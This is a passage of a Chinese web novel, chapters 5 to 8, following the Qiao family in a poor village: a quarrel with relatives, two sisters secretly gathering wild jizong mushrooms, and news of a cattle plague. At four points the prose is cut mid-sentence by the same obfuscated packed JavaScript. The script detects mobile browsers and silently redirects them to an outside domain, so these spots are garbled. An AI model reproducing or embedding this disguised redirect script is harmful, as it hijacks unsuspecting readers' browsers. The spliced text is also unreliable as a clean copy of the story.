“倘若今晚是阿婆来跟我说这事，我或许已恨不得寻个地缝钻了进去，可阿婆还没说什么呢，你们哥几个家里怎么就有意见了呢？” 傅娘子的语气渐渐变得生硬起来，入耳便也没有那么好听了。 乔刘氏撇嘴冷哼了声，“嫂子这话可真有意思，便当煨那稀粥的柴火不是我男人给老太太砍了放灶房里的一般？我们倒不想这么斤斤计较，可大嫂子你做事不厚道啊……” “我娘热心肠，能帮你家一把是一把，又怎么好意思来跟你说这事？可我们做儿媳的为着老太太的身体，今儿就是话说得难听些也是要跟嫂子你把话说清楚的。”乔刘氏态度十分坚硬地道。 气氛倏然凝滞下来，直到火炉里的肥泥子因燃到了一团厚松脂而发出“噼里啪啦”的响动声，傅娘子才回过了神，扯了扯嘴角道：“这事明儿早上我会去与阿婆商量的……” 原本早就忙活完了手里的事情却因着情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924333|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形不对而主动避开此间的乔小遇，眼瞧着傅娘子依旧纠结在这事上却不知转圜，心头情绪莫名。 她出声打断了傅娘子的话，“娘，家里的茶壶去哪儿了？我想着给小妹烧点水捂下额头呢，她这会儿烫得厉害，嘴里不知在咕隆咕隆地念着些什么，怕是已经烧糊涂了。” “刚刚吃饭的时不还好好的么？”傅娘子话音微急，将她手中那些从镇上铺子里寻来的针线活放到木床头的箱笼里，丢下一句“茶壶许在大灶上”的话后，便紧跟着钻里屋里去了。 “那我去寻几根柴火来……”乔小遇不再过多描述，脚步飞快地便往大灶边跑去。 “你们先坐一会儿……”已提脚朝里屋走去的傅娘子回头朝乔刘氏二人礼貌性地招呼了句，便也顾不得去遮掩自己脸上那怏怏的神情了。 “这……” 乔陈氏瞥了一眼傅娘子的背影，眼尾处的那分强自显出的客气之态便立即消失了去。她尴尬地清了清嗓子，朝二嫂乔刘氏低声问道：“咱要不跟着进屋看看？” “要去你去！” 乔刘氏斜睨了她一眼，气鼓鼓地接着说道：“这会儿进去听着小佩说糊话，你倒还怎么好意思跟嫂子开口？就是有理也变没理了，且就嫂子那股气急样，要反倒数落起你我来可怎么好？” 乔陈氏讪讪地噤声不语了。 那厢乔小遇已在大灶边拾了捆柴火，刚欲抱了回屋，起身的动作却在半空中僵了僵——她紧跟着又拾了些潮湿的木柴夹在咯吱窝里。 这般一来，正屋里的那笼火却是烧了个烟熏雾绕，直呛人得紧。 乔刘氏二人跑到门边喘了口鲜活气，但偏头看了眼乔小遇一边止不住咳嗽，一边还拿了粪箕朝火炉口扇风的情形，均不由得皱眉。 “小遇，你家这是烟囱堵了还是怎么一回事？”乔刘氏用袖口掩了鼻，话音里带了几分抱怨意味。 “不会吧，这烟囱刚入夏时才请了二叔帮忙掏过呢。”乔小遇犹疑出声，一口烟尘便猛地朝她的嗓子眼灌进来，激得她一阵猛咳，微红的眼眶里也流出了泪。 她索性憋了呼吸，奋力地扇动粪箕…… 终于听得一道巨大的风呼声，红褐色的火焰似是凭空变化出来的一般从炉底升腾起来，使乔小遇那双凑近了火炉的冰凉小手感到一阵灼热。 “可成了！”乔小遇立马丢开粪箕，逃命一般地朝门口处奔来。她脸上挂着欣喜的笑容，只当她偏侧过头来瞧见门口立着的乔刘氏时，小脸却苦巴起来。 “二婶，雨季要来时二叔出门在外，你家的屋瓦是由我爹帮着换的，可为了这个我爹却从梯子上摔了下来，腰背上的擦伤到现在都未见好。二叔回来后说是帮我家掏烟囱还了这个人情，如今这……便是二叔还的人情？” 乔小遇说这话时，话音听来虽有几分无奈意味，却怎么也够不上指责二字。 5. 计较刁难 乔刘氏微红了脸，但看着乔小遇咳得上气不接下气，连忙伸手帮她抚了抚背，尴尬地笑道：“你二叔做活一向粗手粗脚，改日天晴了我就让他重新帮你家掏。” “咳咳……”乔下曼拍了拍胸口，抹了眼角那道被熏流出来的泪，对乔刘氏说道：“那可麻烦二叔了。” “二婶你回头告诉二叔，等他来给我家掏烟囱的时候，我亲自给他煮了玉米稀饭吃。我娘前几天去镇上，裁缝铺里的袁大娘送了我家一些干酸菜来着，就了玉米稀饭煮，那味道可香哩。”乔小遇扬了扬笑脸道。 “诶，好……我会跟你二叔说的，还是小遇你乖巧懂事。”乔刘氏微怔了怔，连声笑道：“那你回去照顾小佩吧，我跟你三婶就走了。” 乔刘氏侧目与弟媳使了个眼色，竟是不打算再呆了，乔小遇见状倒也不拦她们，只连忙叫她二人稍等一等，便跑去伙房拿了一只染了松脂的竹把过来，就着堂屋炉里的火点着了递给乔刘氏，道：“下雨天路上好多稀泥来着，二婶子三婶子你们寻着脚印走，别跌着。” “那就谢谢小遇了。” 乔刘氏看她考虑得这般周到，脸上的笑意多了几分真心，只终究有些绷不住了。她与乔陈氏对视了一眼，俩人几不可闻地轻叹了口气，举了竹火把相互搀着回去了。 幽幽凉夜里，火把光渐渐微弱，而侧屋后头乔冉安掀土的声音却变得清晰起来。 乔小遇抬手揉了揉发胀的眼，对乔冉安唤声道：“爹，泥巴太潮了，你明天再接着砌那山墙吧……” “娘说有事找你。”乔小遇顿了顿语气，索性将那句“快回来歇息”的话给换了。 晕黄的火光从隔门口|射进里屋，将原本黑黢黢的木板的颜色映得似人脚下所踩着的黄泥一般，令乔小遇觉着既真实而又压抑。 乔小佩已经睡着，皲红的面颊是被雨水泡过的土地的颜色，只她不曾呓语，亦不曾发什么高烧。傅娘子轻叹了口气，柔和的视线从小女儿那张糊了白芨粉末的额头上转过，探向乔小遇。 “你是真的长大了，所以越来越有主意了。”傅娘子的语气极为平静。 乔小遇低着头，不愿迎上傅娘子那道审视的目光，而脚趾头则不安地来曲折抓挠着，使得那泥浆水渗出了鞋面，或染为团团紧簇作一处的花，或似野鱼般吐出几个小泡来。 傅娘子听得挠声，不禁皱了皱眉。她这才留意到，乔小遇这会儿还穿着做农活的那双布鞋……泥水将她的脚背染得片儿黄，可浸在里头的那截却被泡得白生生的，还皱巴得起了皮。 “到家可好一会儿了，怎一直没洗脚换鞋？”话刚问出口，傅娘子便后悔自己的语气里带了责骂。她接着说道：“是不是以后问到你什么，你都打算这样回应娘？” 乔小遇闻言有些局促，她轻动了动自己的僵凉的脚趾，倒让些泥水从布鞋里渗出了来，发出“吧唧吧唧”的声响，就仿佛田里的的气咕咯一般。 而一听傅娘子找自己有事的乔冉安这会儿也放下了手里的活计，大踏步地朝着里屋进来——自然的是，他那鞋子同样发出了这般诙谐的声响。 傅娘子气笑出声，道：“你爷俩竟忙到了这份上，倒叫我说什么好？” 乔冉安是特地洗过手的，只他洗得不怎么过细就是了，加之没用布巾擦过，这当口还湿沥沥地滴着水…… 眼瞧着一脸憨笑的乔冉安便要伸手去抚小女儿的额头，傅娘子气哼着打开了他的手。 “我不会吵醒她的……”乔冉安瑟瑟地缩回了手，说道：“不过你们这敷的什么，有用么？” “便能盖住伤口，什么东西都成的。”傅娘子随意地解释了这么一句，接着冷眉淡声道：“你这才想着理会家里的事呢？” 傅娘子白了一眼乔冉安，压低了声音道：“方才小遇她二婶子三婶子来时，倒没见你冒个头啊。晚间你扯谎时那般能说会道，咋见着人上门刁难你却怂得躲开了？你可能再中用些？” “她们刁难你了？”乔冉安挠了挠后脑勺，额头上皱起了道道横纹，道：“我只当她们是上门道歉的，哪里会想那么多？何况她们都是妇道人家，我个大老爷们待在屋里怕会让人觉着粗横……我只是想让你们把话说开而已。” “话的确说开了！只什么叫作粗横，这理亏的又不是咱家！”傅娘子没想乔冉安竟说出这副托词，心下是又气又怨。 “你可晓得她们过来是为了说什么事的？她们叫咱家以后不要再把小佩往阿婆家里放了，连用了几捆柴火都是计较的，你倒担心人家是来道歉的，面子上挂不住？自个儿忙着去砌山墙，谁叫你去砌了？你是以一天到晚做活都不会觉得累了？” 傅娘子的火气发到半截，不知怎地又转成了对丈夫的心疼。只眼看着这一家子人都聚挤在了狭窄的里屋里，不论大的小的都沉默地听着自己的训怒话，傅娘子便觉得胸口处泛着一种莫名的涨疼感。 她偏过了头去，忍不住用手拭泪。 “娘，你不要多想。”乔小遇余光瞥见乔冉安一阵手足无措的模样，不由得轻轻摇头。她朝傅娘子走近了些，劝慰道：“等这个秋天过去，家里便没有什么繁重的农活了，咱们也不必再去麻烦乔阿婆。” “可你说明天……咱还要不要把你妹妹送过去呢？”傅娘子一想起地里的土豆还没挖起来，浓重的愁色便又爬上了眉梢。 “明天这雨怕是不会停的，娘早上就别出门了，将着把今儿刨回来的土豆给分拣开，带好妹妹，我去地里把土豆叶背回来。”乔小遇偏头看向乔冉安，接着道：“至于爹爹，还是趁早赶了长水叔家的牛车去镇上一趟，把那腊肉卖了。” “就是少卖些钱也无妨的。只得了的那些铜板，却怎么也要留些与阿婆。还有那饴糖，咱换过一张普通的油纸包了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924334|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给阿婆带些过去。” 乔冉安不解地道：“乔阿婆牙齿都快掉光了，你怎么还想着给阿婆送糖吃？” “我的老爹啊，那糖是送给阿婆哄几个孙子的。”乔小遇轻笑着道：“小孩子或许分不清善恶，可谁待他好，他们却又相当敏感。若阿婆那几个孙子以后少欺负妹妹些，阿婆也能宽点心。” 傅娘子听着女儿话里的娇俏意味，嘴角那抹淡淡的苦涩渐失了痕迹。她颔了颔首，又道：“你待会且先去问问长水，明儿他去不去镇上……不过他应当是要去的。” 乔冉安也道：“事先打个招呼总是好的……” 这村里谁家有个什么大事小事，大家伙都是清清楚楚的，如乔长水每隔半月便去镇上这事。倒不是因为他闲钱闲时多，只出门去帮他哥乔长田抓药罢了。 各家都有辛苦，生活从来便不是只为难一个人。唯一庆幸的是，在这片贫瘠的生活土壤上，温情便似烟囱口冉冉飘起的烟云一般存在着。 乔小遇在黑暗中看到了这缕烟云…… “无论以后的日子怎样难熬，我总会带着家里人熬过去的。”乔小遇看着妹妹因饭食不均而长得黄生生的头发，连日以来的郁郁情绪竟一扫而空，心间渐萌生出一股斗志来。 当天际泛出一抹亮光时，山脚下的乔家村里已经有几户人家燃起了炊烟，以至于那座被云雾遮了尖端的山丘就仿佛被士兵端了头颅的沉腐之躯一般——荒凉，而无任何悲悯的情绪。 乔冉安赶来坐乔长水家的牛车进镇里时，特地问起乔长田的伤势，乔长水神情颓丧，念说他哥躺床上这几日，后背都快生疮了，可到底下不得床，家里几亩的土豆许要跟着烂在地里了…… 乔冉安闻言若有所思，口中差些便要说出自家地里的事若忙完了便去主动帮忙的话来，只转念又担心着傅娘子会怨他自作主张。他终究只是轻叹了口气，说道：“但愿天能快些晴起来……” 说来乔小遇出门的时辰倒比乔冉安还要早些，且将妹妹也给带出了门。 亏得乔小遇动作轻，等乔冉安被傅娘子使了起来烧灶煮猪食时，这位憨实的爹却见着灶里的木柴早烧成了一堆糊炭，而那灶台边上还放着两个温热的土豆。 …… “姐姐，我们这也起得太早了些，我现在直打呵欠呢。”乔小佩一边紧跟着乔小遇的步伐，一边忍不住抱怨道：“这天儿的露水怎么这样重，我裤子都被绊湿了。” “你昨晚睡得同样很早。”乔小遇回头冲妹妹轻笑了声，眸底却不由得得泛起一抹涩意，接着道：“你便稍稍忍耐下吧，昨夜里还下雨来着，露水怎会不重？等回家快些将湿衣服换下，便不会生病了。” “头还疼不疼？”乔小遇问道。 乔小佩摇了摇头，圆溜溜的小眼微转，笑道：“姐姐，你之前说咱们不单是去地里背土豆叶，那还有什么？” 6. 捡采鸡枞 乔小遇沉吟半晌，终还是将事情给妹妹说道了个清楚…… “何里正怎么能伙了乔大闯家做这样的事呢？”乔小佩瘪嘴道：“这可怎么办？” “能怎么办？知道了便要出头么？”乔小遇叹了声，唇间浮泛出一缕淡淡的白气来。看着妹妹迷茫的神色，乔小遇伸出食指戳了戳妹妹的额头，说道：“这事咱们似乎顾不上，你可别到处说……” 乔小佩吐了吐舌，折回话题道：“所以咱们是要去那片荒地上寻鸡枞么？” 乔小遇点头，道：“因为乔大闯家的那片荒地转了半边山，还一连便是七八块的地皮，可太难找了，再者还要折回地里背些猪草，我一个人背不完，便只好拖着你……” “姐姐可是觉得过意不去？”乔小佩见她姐忽然止住了声音，眨眼笑道：“这有什么，先前咱们还当他家是得了陆家人的准许才开的荒地，这会儿却不想那地皮竟是村里的。那鸡枞虽长在了他家地埂上，却也同猪仔身上的毛一般，乔大闯家可没得据为己有的道理。” “那咱们先去找鸡枞？”乔小遇的话音里终得了几分释然。 “好嘞！”乔小佩兴奋地低叫了声，接着便从篮子里拿了镰刀出来备着，问乔小遇说应当去哪里砍刺棵比较合适…… 乔小遇神情微怔，她应当早预料到妹妹对这件事并不存在负担，而她也应当承认，她昨夜里一直寻思着采鸡枞的事难以入眠，今儿之所以带乔小佩出来得这样早，便是因为她心里已经打定了主意。 到底有几分偷偷摸摸的成分在…… 乔小遇不想自己把妹妹教导得行为不端。 先前那块腊肉便也罢了，虽是不问自取，但死人是没法说话的，傅娘子便是觉着乔小遇的做法不妥、不敬，却也被乔小遇的一番争辩给混了想法，可荒地里的鸡枞呢？ 若是她自己去采，乔小遇并不会有什么负罪感——至少对比坟山里捡人拜祭的东西而言。 稍显狭窄的泥路上横耽着几株被风吹倒的玉米杆子，乔小遇走在前面小心帮着扶正，喃喃道：“只可惜有的玉米苞才刚抽须便从杆子上掉下来了。” 乔小佩半停半走地跟在她姐身后，似是随意寻了话头地道：“姐姐，乔大闯家占了村里地儿的事……终究是瞒不住的，你为什么不允我往外说呢？” “我竟有些后悔让你知道这事了？”乔小遇侧头看了妹妹一眼，话音无奈地转问道：“你知晓为什么自己被人推倒受伤的事明明是二婶子她们家不占理，可她们却还反过来为难娘吗？” “因为她们脸皮厚呗，且还斤斤计较。”乔小佩低声以应，对于说人坏处这事竟有几分不自在。 “不仅这样。”乔小遇轻吐出了口气，接着道：“还因为咱家在村里太不起眼。” “爹爹比不得里正，或是长田叔这样的的人有本事，娘这边的亲戚也很少与咱家有往来，咱家根基薄弱，就算爹爹有四个兄弟，可咱们家根本靠不上他们……” “你应当还记得的，开春时家里的土豆种因被耗子吃了不少，所以不够排种，爹爹去给叔伯家借些时他们可曾借了？” “不曾。当时爷爷奶奶帮忙说好话了吗？也没有。” 乔小佩心里有些难受起来，她轻嘤了声，道：“最后还是娘去长田叔家里借了一篮子回来，咱家坡地里的土豆才排上了的。” “那你知道为什么长田叔家愿意借咱家土豆种？”乔小遇又问妹妹。 乔小佩凝眉想了想，才道：“大概是因为长田叔待人和气？” “这也只是一方面的原因。”乔小遇柔和一笑，补充道：“还因为娘之前给长田叔媳妇菜粉婶子送了几双鞋垫过去，所以菜粉婶子想还了咱家的人情。可见的是，人与人之间的交道并不好打，主要得看对方究竟是个什么样的人。” “不过对这村里的许多人而言，他们不见得只看对方脾性，还看这人家里起不起眼。咱家不起眼，所以你即便让村里人知晓大闯叔家是如何的不地道、黑心肠，村里人也不见得敢帮你说话，站在你这边……” “如此，你可懂了我的意思？”乔小遇转过头来，抚拍了拍妹妹的脑袋，轻声问道。 乔小佩垂头默然半晌，终于轻“嗯”了声。听着妹妹沉郁的嗓音，乔小遇紧抑了纷乱如麻的情绪，转身提了步朝前走去。 尽管妹妹还小，但她终要教会她这些东西的，比如待人处世的方式与分寸，再比如现实中的求全忍退…… 生于贫家的孩子，没有优渥的生活条件，虽很难养成自负的性子，可一不防备劝教便极易成为一个怯懦或刻薄的人。 既然没有自负的资本，那便学那为了过冬的山鼠吧，提早将松果子搬进洞窝里，用尽所有的耐心去守得雪融冰化的一天。 走在半路上时，乔小遇让妹妹把镰刀收回了篮子里，并道没有砍了刺棵去串鸡枞的必要，因为太显眼了…… “那要是乔荣兄妹俩发现鸡枞被人捡了，会不会在村里指桑骂槐呢？”乔小佩一想到乔丫丫那刺耳的嗓音便觉得头皮发麻。 “不会的。”乔小遇的嘴角轻勾了勾，眸底闪烁着狡黠意味，语气笃定地继续说道：“大闯叔家那荒地已经开了几年，可他家将鸡枞窝的事瞒得十分好，加上村里的人一直当那处地皮是陆家人的，很少涉足，谁能想到那处会有鸡枞呢？” “自然而然的，即便他家察觉有人进了他家荒地采了鸡枞，也不好得在村里大肆宣扬。这般一来，他家也只能将这口气憋回去。”话及此处，乔小遇不由得呵笑出声。 …… 不得不说，乔大闯家开出的这几块荒地占地甚宽，且无论如何也当不得一个“荒”字。 乔小佩站在那地埂边，但瞧见一个被地鼠刨出半边而被日头晒绿的土豆竟跟吃饭碗同样般大小，不禁啧啧了声，道：“今年雨水过多， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924335|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家家户户有了割不完的土豆叶当猪草，可土豆的收成却不见好，怎地乔大闯家的却长得可以？” “倒最好多招些地鼠来，把土豆啃了半数去……” “那也是他家的事，你多管了做什么？”乔小遇神色微敛，对妹妹说道：“平常心一些，咱过的还是自己的日子。大闯叔家的收成不错，你也当瞧见他家每年开春时往地里压了多少粪。” “这里隔山近，他家直接抓了松毛放在地里，粪水则是用牛车一车车拉来腐松毛的，你便只闻见粪水臭烘烘的，念说他家没事找事，现在倒瞧见他家土豆大了？” 乔小佩立时无话可回了，只垂了头盯看着自己的鞋尖。 乔小遇放柔了声线，道：“人到哪里都会有是非，便说乔家村这样一个算不得大的村子，也常生出许污糟事，不是今儿你家的土豆被人刨了，便是明儿他家地里刚饱了粒的玉米被人连根砍了……” “总有人见不得别人好，可别人好不好终归是别人的事，自己好不好才是紧要。若心思多放在自己能否过好，便先试着不要用那么片面的目光去看待事情。他日你过得好了，更可以试着能否让别人也过得好些。” 乔小遇见妹妹抬起小脸，张口便欲争辩的模样，紧跟着补充道：“当然事情一码归一码，我不认为乔大闯家私占村里的地是对的，也断没有羡慕的意思。” 乔小遇轻轻摊开手来，但看着妹妹哭笑不得的神情，忍俊不禁地道：“那鸡枞可不是他家的。” 乔小佩闻言，故意将自己的腮帮子鼓胀了几分，装出气愤模样，可她心里却是将乔小遇的话给听进去了的…… 她对乔小遇的“说教”并不反感，因为比起平日里耽于农务、对她的教养方式只有责骂这一条的傅娘子，她的姐姐往往是她最为信赖的那一个人。 自乔小佩记事起，她便是被放在乔小遇的背篓里长大的。她初初会下地走路时，但遇着坑洼些的泥道，乔小遇若空着背篓便会将她放进去，若是背了些干柴猪草之类的东西，则会半提着她的胳膊趟过那小泥塘…… 这些记忆虽然已经有些久远，也很平常，却也同样被乔小佩留存在了脑海深处。 妹妹好面子，乔小遇是知道的，所以她并不非得迫着妹妹承认那些自己身上的小毛病。点到为止也好，谆谆教导也罢，乔小遇更在意的是妹妹能够有所改正。 环绕着乔家村的大山已经够高了，若不教妹妹将眼界放远一些，等他日妹妹嫁出这大山，她的日子便会十分难熬…… 知了人情，再有一双勤劳的手，便不论周遭环境如何，人也总能似一粒被斜风误吹入悬崖缝里的草种一般，渐渐地生出根来、扎稳了根来。 乔小遇使了妹妹走下埂，自己则走了上埂去寻鸡枞。只听着妹妹哗啦啦地扒开草叶的声响，乔小遇连忙收回自己已然飘远的神思，低喊了一声道：“小妹，你别走太快了，寻不仔细。” 7. 突发牛疫 “我晓得了……不就寻白蚁窝嘛，你放心吧，我留意着呢。”乔小佩嘴里衔着一根墙头草的草秆，话音含糊地应道。 “哎，这孩子……”乔小遇无奈轻笑，旋即摇了摇头。 幸运的是，姐妹俩从山那边折回来时，终于在第三块荒地的地埂上寻到了鸡枞！ 俩人都很兴奋，稍稍还能按捺住情绪的乔小遇但看着妹妹已恨不得扑身上前的架势，着意拉过她调侃道：“你可小心些，别将蚂蚁踩死了……” “姐姐，你又笑话我！”乔小佩伸手轻捶了乔小遇一拳，没想乔小遇也是得意十分了，装出一副几欲落泪的模样来。 姐妹俩好一通笑闹。 不过笑闹归笑闹，姐妹俩采鸡枞的动作可没跟着顿住。乔小遇扯了些些猪草垫在篮子底后，才带了妹妹小心翼翼地用镰刀扒开了泥，将鸡枞捡进篮子里。 “这回去后，我便立马叫娘把这些鸡枞用油炸了放在罐子里。但想着年节里能吃一碗面条，再浇上一两勺的鸡枞油，撒几粒葱花……啧啧，那味道便已将我肚子里的馋虫勾出来了。”乔小佩一边顾自说着，一边嘬了嘬口水。 “油炸的时候还得放些花椒……”乔小遇微笑着道。 只话及此处，乔小遇却似想到了什么一般，她侧头看向妹妹，轻声说道：“这鸡枞怕是不能尽给你留了下面条吃……” 见乔小佩立时便苦了脸色，乔小遇皱了皱眉，还是泼了一盆冷水下来，道：“最主要的是，家里并没有那么多的菜油炸鸡枞。” “这可怎么好？”乔小佩很是无奈，心间有种到了嘴边的鸭子竟还放了飞跑的挫败感，“难道这鸡枞将着让爹爹带到镇上去卖？家里也不炸一些留着吃了？” “自然不好。”乔小遇缓缓抬眼，只看妹妹神色便知其思绪已然跑偏，不禁假意嗤了一声，笑道：“你尽想着什么呢？” “我说的是这鸡枞由着爹爹径直送到集市上卖了要不得，因为价钱会便宜很多，若是自家炸成了鸡枞油再去卖，得利会更厚，可没说家里能不能留一些的事。” “好吧。”乔小佩声如蚊呐，一时也不知该说什么好。 “去村里寻人家借总是不合适的。”乔小遇轻锁了眉，却才想起乔冉安去镇上卖腊肉的事情来，沉吟道：“不晓得腊肉能卖多少文铜钱，能不能就着买些菜油回来炸鸡枞呢。” “哎，且不管它，先将这些鸡枞捡完。” “好嘞！”乔小佩声音轻快地应道。 …… 乔小遇带着妹妹回到家时，傅娘子正蹲在堂屋里分拣土豆，她手上动作麻利，泥黄色的土豆在她手中翻跃着便如杂耍艺人手中的木球玩意儿一般。 “你俩回来了啊。”傅娘子把凳子朝后轻推开了些，视线探向院子里，但瞧见乔小遇姐妹俩背着那么多的猪草，不由得疑问道：“怎么背了那么多？昨儿地里剩下的猪草已没那么多了啊，你们是不是又自己割了些？倒不怕压坏了身子不长个儿？” 她的语气略有责怪之意，同时也为这姊妹俩的实心眼感到十分欣慰。 乔小佩听了这话不禁翘起唇角，若非身上还背着背篓，乔小遇几乎便要怀疑妹妹会直接撒开了腿跑去与傅娘子献宝了。 “确实有些重，可娘，我与姐姐背回来的却不仅仅是昨天放在地里的那两捆猪草。”乔小佩将篮子放下后，蹦跳着跑到傅娘子身边，伸手非得将她娘拉离板凳。 “你这是做什么？” “您过来看就是了。”乔小佩狡黠轻笑着，一边伸手将她娘手里的的土豆拍打在地，搀了人往隔壁屋走去。 乔小遇家地堆放猪草的地方在偏屋的楼梯下头。这会儿傅娘子过来时，乔小遇已经把覆在鸡枞上头的猪草拿开了，露出半篮子的鸡枞…… “娘，这里还有呢。”乔小佩拉过自己的篮子示意傅娘子看。 “你俩这是上山去了？哪里寻到的鸡枞窝？”傅娘子伸手轻抚过鸡枞的伞帽，淡棕色的眸子里闪烁着碎金般光芒，接着道：“这可能值好多钱了，来年咱家还能跟着采些……” “来年怕是不能了。”乔小遇沉吟说道。 乔小佩但瞧了眼娘亲面上那抹带了疑惑和几分僵滞的神情，一时紧抿了唇，觉着其中原委怕还是由她姐姐来说的好。 乔小遇知晓关于乔大闯家那几块荒地的事是须得告知家里的，所以她没有刻意相瞒，将陆家坟里听得的关于乔荣兄妹俩的对话都一五一十地说了出来。 “乔大闯这全家老小的恨天杀的！还有何里正，敢情村里人都拿他的话当法旨了，还道处事公正？我呸！也是个黑心烂肠的！”傅娘子性子急切，听完已忍不住啐骂道。 一旁的乔小佩直觉得她娘这嗓音便同木工扯锯的声音一般，聒得她一阵脑仁疼。“娘，亏得咱家住得远，这要还住在老村子里，门前的人来来往往的，听了你这话定要进门询问一番。” 乔小佩砸了咂舌，故作出一副深沉模样，道：“这事您和爹心里有数就是了，反正咱家是不能去外头宣扬的。” “哟，你还寻思到这上头来了？”傅娘子伸手轻弹了乔小佩的脑门，止了碎骂之语。她情绪来得快，可去得也快，旋接着道：“这事你们也别往外说，免得给自己惹麻烦。” 傅娘子的目光重新落到两只篮子里的鸡枞上，寻思片刻后，才道：“家里的菜油不多，可要是用猪油炸了封鸡枞干，似乎又不太好。” “娘，晚饭时爹能从镇上回来了么？若是能多得些铜板，那剩下的便用来买菜油吧，若不够了便再说。”乔小遇轻声说道。 “是这样。”傅娘子点了点头，吩咐姐妹俩将湿衣服换下后再去洗鸡枞，不过只先洗得一只篮子里的。 乔小遇知道，若是将鸡枞全洗了，反而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924336|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因油不够用而剩得些，那鸡枞没沾带了泥价钱便会降下来——这情形真是算得十分尴尬了，都道巧妇难为无米之炊，她们想让鸡枞多值些钱可缺了菜油，便只能巴巴盘算起来。 乔小遇没有想到的是，她爹刚过午饭就回来了，但不是坐的乔长水家的牛车，而是自己直接走回来的。 傅娘子瞥了眼乔冉安那全是泥浆的裤腿，当即便摆了脸，问道：“腊肉卖出去了？” “是的呀。”乔冉安咧嘴一笑，慢慢从怀中掏出了个钱袋子来，才与傅娘子轻声解释道：“我刚到镇上就把腊肉寻了一家饭馆卖了，见长水还有得忙活，我便先回来了。” “卖了多少文钱？”傅娘子面色终于稍缓了缓，旋即伸手将钱袋拿了过来。 “一百八十文！”乔冉安话音里是毫不掩饰的得意之色，但瞧着傅娘子整个人惊呆了呆，乔冉安笑眯眯地挠了挠后脑勺，道：“咱拿去那块腊肉，是放了几年的陈火腿了，腌得又好，价格自然也要高些。也是咱们不识货，可那饭馆的掌柜也没有昧了良心坑人。” “那确实了，你这样的老实人自己上钩，人竟还给了个公道钱。”傅娘子斜瞅了乔冉安一眼，那些原本在她心头沉浮不定的思绪仿佛也因着手中这钱袋子的份量而变得沉寂下来。 “可不是？”乔冉安听了妻子的调侃之语，却是好生受用，出言也尽管顺了傅娘子去。 “只是媳妇，听掌柜的说，最近腊肉都比生肉要贵上许多，原是隔壁州城里发生了牛疫，已经死了不少耕牛，连带着猪仔也染上了这病……” “竟有这事？”傅娘子惊疑出声，接着沉叹了口气，道：“可希望不要传到朝州府来，否则苦的还是咱们这些平头百姓。” 这厢乔小遇正忙着在灶上给乔冉安烧些水，是以乔冉安说的那些关于牛疫的事便也入了她的耳——乔小遇的心思不由得重起来。 她不清楚这个时代的人们对于畜灾是否有得力的应对措施，但想来应当是十分被动的。或疫、或旱、或涝、或畜灾，无论年岁中得经哪一种，或轻或重，都会成为一道覆于民众头顶上方的沉穆阴云，久久不散①。 在这片土地上艰难生存着的人们，便如同居于土穴里的蚂蚁一般，但凡外间风吹雨摇，便须被动放弃他们蓄积的所有“资产”，如良田，如泥窖，如庭院中的那汪清澈的井泉，再如嗷嗷待哺的婴儿…… 傅娘子得了牛疫的消息，心下复又繁乱，甚至都想不及告知乔冉安乔小曼姐妹俩采了鸡枞的事。 她紧跺了跺脚，郁声道：“现今儿的节气还未入秋，霜降就更远了，乔家村地处偏远，那些赶猪人也只有霜降前后才会到村里买猪，这要是……” “这要是还没来得及等到赶猪人，疫病就传到村子里，那该如何是好？若实在管控不住，说不定官府的人会进村督促了家家户户，把染病的家畜尽快宰杀……” 8. 救命之恩 傅娘子说这话时，话音里不自觉地带了一种紧颤感。 她是亲身经历过十多年前的那场牛疫的，当时不知多少家畜染了病，且正值春耕，畜力不足，州城村镇不知又有多少无辜的百姓流离失所…… 她如今想来依旧一阵惊怕，因她与乔冉安的头个女儿乔小知便是因为那场牛疫的爆发才不得不送了人。 那般无奈，是傅娘子不愿去回忆的。 乔冉安沿着傅娘子那道黯然的视线看过去，只见乔小遇踮了脚尖去提灶上那只已被烧得黑漆漆的茶壶…… 瘦弱不堪的身板，小脸亦被挣得红紫交加，可乔小遇却紧咬了牙帮子，一声不吭！ 